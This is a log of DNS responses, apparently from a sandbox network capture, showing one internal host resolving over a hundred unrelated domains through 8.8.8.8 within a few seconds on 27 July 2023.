Jul 27, 2023 21:54:31.954904079 CEST	8.8.8.8	192.168.2.4	0xf032	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.954904079 CEST	8.8.8.8	192.168.2.4	0xf032	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.979954958 CEST	8.8.8.8	192.168.2.4	0xab77	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.999496937 CEST	8.8.8.8	192.168.2.4	0x5ff0	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.010710955 CEST	8.8.8.8	192.168.2.4	0xf311	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.012733936 CEST	8.8.8.8	192.168.2.4	0x15cb	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.064935923 CEST	8.8.8.8	192.168.2.4	0x64f8	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.081968069 CEST	8.8.8.8	192.168.2.4	0xe10e	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.088195086 CEST	8.8.8.8	192.168.2.4	0xc238	No error (0)	onzcda.com		15.197.204.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.088195086 CEST	8.8.8.8	192.168.2.4	0xc238	No error (0)	onzcda.com		3.33.243.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.118736029 CEST	8.8.8.8	192.168.2.4	0xda90	No error (0)	plaske.ua		5.181.161.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.133769989 CEST	8.8.8.8	192.168.2.4	0x6e9b	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.210741043 CEST	8.8.8.8	192.168.2.4	0xa5df	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.212568998 CEST	8.8.8.8	192.168.2.4	0x2f3d	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.213838100 CEST	8.8.8.8	192.168.2.4	0x9a45	No error (0)	keio-web.com		219.94.128.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.214157104 CEST	8.8.8.8	192.168.2.4	0x730	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.214157104 CEST	8.8.8.8	192.168.2.4	0x730	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.222096920 CEST	8.8.8.8	192.168.2.4	0x7777	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.251024961 CEST	8.8.8.8	192.168.2.4	0x2a5	No error (0)	www.muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.255829096 CEST	8.8.8.8	192.168.2.4	0xe5f5	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.255829096 CEST	8.8.8.8	192.168.2.4	0xe5f5	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.255829096 CEST	8.8.8.8	192.168.2.4	0xe5f5	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.255829096 CEST	8.8.8.8	192.168.2.4	0xe5f5	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.270237923 CEST	8.8.8.8	192.168.2.4	0x606f	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.288331985 CEST	8.8.8.8	192.168.2.4	0x17b7	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.292938948 CEST	8.8.8.8	192.168.2.4	0x2cf9	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.299016953 CEST	8.8.8.8	192.168.2.4	0x1cbc	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.299057007 CEST	8.8.8.8	192.168.2.4	0xcbe5	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.299057007 CEST	8.8.8.8	192.168.2.4	0xcbe5	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.299057007 CEST	8.8.8.8	192.168.2.4	0xcbe5	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.299057007 CEST	8.8.8.8	192.168.2.4	0xcbe5	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.309627056 CEST	8.8.8.8	192.168.2.4	0x1037	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.309627056 CEST	8.8.8.8	192.168.2.4	0x1037	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.311115026 CEST	8.8.8.8	192.168.2.4	0x61be	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.327250957 CEST	8.8.8.8	192.168.2.4	0x9	No error (0)	nrsi.com		76.223.35.103	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.330481052 CEST	8.8.8.8	192.168.2.4	0xa432	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.331675053 CEST	8.8.8.8	192.168.2.4	0xad72	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:32.331675053 CEST	8.8.8.8	192.168.2.4	0xad72	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:32.331675053 CEST	8.8.8.8	192.168.2.4	0xad72	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.331675053 CEST	8.8.8.8	192.168.2.4	0xad72	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.337816000 CEST	8.8.8.8	192.168.2.4	0x7661	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.343575954 CEST	8.8.8.8	192.168.2.4	0xad29	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.355858088 CEST	8.8.8.8	192.168.2.4	0xb4b2	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.380930901 CEST	8.8.8.8	192.168.2.4	0x1bf2	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.391827106 CEST	8.8.8.8	192.168.2.4	0x2a63	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.394145012 CEST	8.8.8.8	192.168.2.4	0x6964	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.394145012 CEST	8.8.8.8	192.168.2.4	0x6964	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.394145012 CEST	8.8.8.8	192.168.2.4	0x6964	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.394145012 CEST	8.8.8.8	192.168.2.4	0x6964	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.424128056 CEST	8.8.8.8	192.168.2.4	0xfee2	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.447000980 CEST	8.8.8.8	192.168.2.4	0x8754	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.481015921 CEST	8.8.8.8	192.168.2.4	0x774b	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.485208988 CEST	8.8.8.8	192.168.2.4	0x1f20	No error (0)	sigtoa.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.485208988 CEST	8.8.8.8	192.168.2.4	0x1f20	No error (0)	sigtoa.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.517420053 CEST	8.8.8.8	192.168.2.4	0xb00d	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.549385071 CEST	8.8.8.8	192.168.2.4	0x4f	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.561331987 CEST	8.8.8.8	192.168.2.4	0xb157	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.590720892 CEST	8.8.8.8	192.168.2.4	0x395f	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.597835064 CEST	8.8.8.8	192.168.2.4	0x1cbd	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.609666109 CEST	8.8.8.8	192.168.2.4	0x6e14	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.614898920 CEST	8.8.8.8	192.168.2.4	0xec48	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.631263971 CEST	8.8.8.8	192.168.2.4	0x35d2	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.662245035 CEST	8.8.8.8	192.168.2.4	0xf1aa	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.664078951 CEST	8.8.8.8	192.168.2.4	0xb432	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.664078951 CEST	8.8.8.8	192.168.2.4	0xb432	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.694042921 CEST	8.8.8.8	192.168.2.4	0xe2db	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.738473892 CEST	8.8.8.8	192.168.2.4	0x4168	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.757834911 CEST	8.8.8.8	192.168.2.4	0x5e2d	No error (0)	dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.757834911 CEST	8.8.8.8	192.168.2.4	0x5e2d	No error (0)	dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.766067028 CEST	8.8.8.8	192.168.2.4	0x552f	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.778426886 CEST	8.8.8.8	192.168.2.4	0x87e9	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.785823107 CEST	8.8.8.8	192.168.2.4	0xf26c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.790973902 CEST	8.8.8.8	192.168.2.4	0xe1f5	No error (0)	yhsll.com		102.134.49.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.799974918 CEST	8.8.8.8	192.168.2.4	0xde15	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.836926937 CEST	8.8.8.8	192.168.2.4	0xd85b	No error (0)	tabbles.net		80.211.41.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.880284071 CEST	8.8.8.8	192.168.2.4	0xf432	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.887940884 CEST	8.8.8.8	192.168.2.4	0x8dbe	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.891674995 CEST	8.8.8.8	192.168.2.4	0xb45b	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.891674995 CEST	8.8.8.8	192.168.2.4	0xb45b	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.891881943 CEST	8.8.8.8	192.168.2.4	0xa7ea	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.891881943 CEST	8.8.8.8	192.168.2.4	0xa7ea	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.891881943 CEST	8.8.8.8	192.168.2.4	0xa7ea	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.895973921 CEST	8.8.8.8	192.168.2.4	0x1f1c	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.895973921 CEST	8.8.8.8	192.168.2.4	0x1f1c	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.915580034 CEST	8.8.8.8	192.168.2.4	0x9441	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.956590891 CEST	8.8.8.8	192.168.2.4	0x8d5d	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.977252007 CEST	8.8.8.8	192.168.2.4	0x404d	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.037533998 CEST	8.8.8.8	192.168.2.4	0xb615	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.078576088 CEST	8.8.8.8	192.168.2.4	0x3dd6	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.078576088 CEST	8.8.8.8	192.168.2.4	0x3dd6	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.085484028 CEST	8.8.8.8	192.168.2.4	0x2166	No error (0)	bount.com.tw		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.085484028 CEST	8.8.8.8	192.168.2.4	0x2166	No error (0)	bount.com.tw		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.095892906 CEST	8.8.8.8	192.168.2.4	0xd310	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.105021954 CEST	8.8.8.8	192.168.2.4	0xc4f6	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.106302977 CEST	8.8.8.8	192.168.2.4	0xcc1	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.143347025 CEST	8.8.8.8	192.168.2.4	0x3852	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.147793055 CEST	8.8.8.8	192.168.2.4	0xec81	No error (0)	mjrcpas.com		204.11.56.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.154577971 CEST	8.8.8.8	192.168.2.4	0xb051	No error (0)	dspears.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:33.154577971 CEST	8.8.8.8	192.168.2.4	0xb051	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:33.154577971 CEST	8.8.8.8	192.168.2.4	0xb051	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.154577971 CEST	8.8.8.8	192.168.2.4	0xb051	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.169246912 CEST	8.8.8.8	192.168.2.4	0x1541	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.201613903 CEST	8.8.8.8	192.168.2.4	0x6730	No error (0)	plaske.ua		5.181.161.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.244333982 CEST	8.8.8.8	192.168.2.4	0x928e	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.253979921 CEST	8.8.8.8	192.168.2.4	0xa941	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.255357981 CEST	8.8.8.8	192.168.2.4	0x2e40	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.267297029 CEST	8.8.8.8	192.168.2.4	0xb71	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.271353960 CEST	8.8.8.8	192.168.2.4	0xfe36	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.271353960 CEST	8.8.8.8	192.168.2.4	0xfe36	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.296885014 CEST	8.8.8.8	192.168.2.4	0xb0af	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.299643993 CEST	8.8.8.8	192.168.2.4	0xaf11	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.304085016 CEST	8.8.8.8	192.168.2.4	0x5218	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.343338013 CEST	8.8.8.8	192.168.2.4	0xff77	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.416439056 CEST	8.8.8.8	192.168.2.4	0x3af3	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.443228006 CEST	8.8.8.8	192.168.2.4	0x1029	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.468302965 CEST	8.8.8.8	192.168.2.4	0x96f2	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.490952015 CEST	8.8.8.8	192.168.2.4	0xd252	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.490952015 CEST	8.8.8.8	192.168.2.4	0xd252	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.501367092 CEST	8.8.8.8	192.168.2.4	0x1668	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.501367092 CEST	8.8.8.8	192.168.2.4	0x1668	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.544017076 CEST	8.8.8.8	192.168.2.4	0xe972	No error (0)	sinwal.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.544017076 CEST	8.8.8.8	192.168.2.4	0xe972	No error (0)	sinwal.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.591532946 CEST	8.8.8.8	192.168.2.4	0x228b	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.625814915 CEST	8.8.8.8	192.168.2.4	0x8e48	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.645879030 CEST	8.8.8.8	192.168.2.4	0xf882	No error (0)	hyab.se		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.645879030 CEST	8.8.8.8	192.168.2.4	0xf882	No error (0)	hyab.se		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.649317980 CEST	8.8.8.8	192.168.2.4	0xabe8	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.753359079 CEST	8.8.8.8	192.168.2.4	0x864c	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.766130924 CEST	8.8.8.8	192.168.2.4	0x9650	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.790352106 CEST	8.8.8.8	192.168.2.4	0x99d0	No error (0)	4locals.net		80.82.115.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.827857971 CEST	8.8.8.8	192.168.2.4	0x4f5b	No error (0)	diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.915326118 CEST	8.8.8.8	192.168.2.4	0xcd92	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.935174942 CEST	8.8.8.8	192.168.2.4	0x4f1d	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.935174942 CEST	8.8.8.8	192.168.2.4	0x4f1d	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.936430931 CEST	8.8.8.8	192.168.2.4	0x4c67	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.950079918 CEST	8.8.8.8	192.168.2.4	0xef13	No error (0)	nlcv.bas.bg		195.96.252.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.964459896 CEST	8.8.8.8	192.168.2.4	0x37fb	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.964459896 CEST	8.8.8.8	192.168.2.4	0x37fb	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.970443964 CEST	8.8.8.8	192.168.2.4	0x4704	No error (0)	4locals.net		80.82.115.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.990359068 CEST	8.8.8.8	192.168.2.4	0xe93d	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.991954088 CEST	8.8.8.8	192.168.2.4	0x4399	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.995233059 CEST	8.8.8.8	192.168.2.4	0x62be	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.999484062 CEST	8.8.8.8	192.168.2.4	0xfaac	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.999484062 CEST	8.8.8.8	192.168.2.4	0xfaac	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.012660027 CEST	8.8.8.8	192.168.2.4	0xaa53	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.015007019 CEST	8.8.8.8	192.168.2.4	0x4150	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.016200066 CEST	8.8.8.8	192.168.2.4	0x33fb	No error (0)	www.diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.048990965 CEST	8.8.8.8	192.168.2.4	0xce6	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.101268053 CEST	8.8.8.8	192.168.2.4	0x68df	No error (0)	nekono.net		202.172.28.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.163909912 CEST	8.8.8.8	192.168.2.4	0x3af3	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.169965029 CEST	8.8.8.8	192.168.2.4	0x9093	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.169965029 CEST	8.8.8.8	192.168.2.4	0x9093	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.193052053 CEST	8.8.8.8	192.168.2.4	0x4381	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.193052053 CEST	8.8.8.8	192.168.2.4	0x4381	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.203223944 CEST	8.8.8.8	192.168.2.4	0xf638	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.217984915 CEST	8.8.8.8	192.168.2.4	0xa3c0	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.217984915 CEST	8.8.8.8	192.168.2.4	0xa3c0	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.223258018 CEST	8.8.8.8	192.168.2.4	0xd2f8	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.260977030 CEST	8.8.8.8	192.168.2.4	0xfd30	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.261061907 CEST	8.8.8.8	192.168.2.4	0x660	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.322992086 CEST	8.8.8.8	192.168.2.4	0x43b3	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.344647884 CEST	8.8.8.8	192.168.2.4	0xd895	No error (0)	bount.com.tw		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.344647884 CEST	8.8.8.8	192.168.2.4	0xd895	No error (0)	bount.com.tw		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.384879112 CEST	8.8.8.8	192.168.2.4	0x6cfb	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.482131958 CEST	8.8.8.8	192.168.2.4	0xb3c5	No error (0)	araax.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:34.482131958 CEST	8.8.8.8	192.168.2.4	0xb3c5	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:34.482131958 CEST	8.8.8.8	192.168.2.4	0xb3c5	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.482131958 CEST	8.8.8.8	192.168.2.4	0xb3c5	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.633052111 CEST	8.8.8.8	192.168.2.4	0xb77f	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.633052111 CEST	8.8.8.8	192.168.2.4	0xb77f	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.681833029 CEST	8.8.8.8	192.168.2.4	0xa2e2	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.714199066 CEST	8.8.8.8	192.168.2.4	0x84a0	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.727189064 CEST	8.8.8.8	192.168.2.4	0xf0ea	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
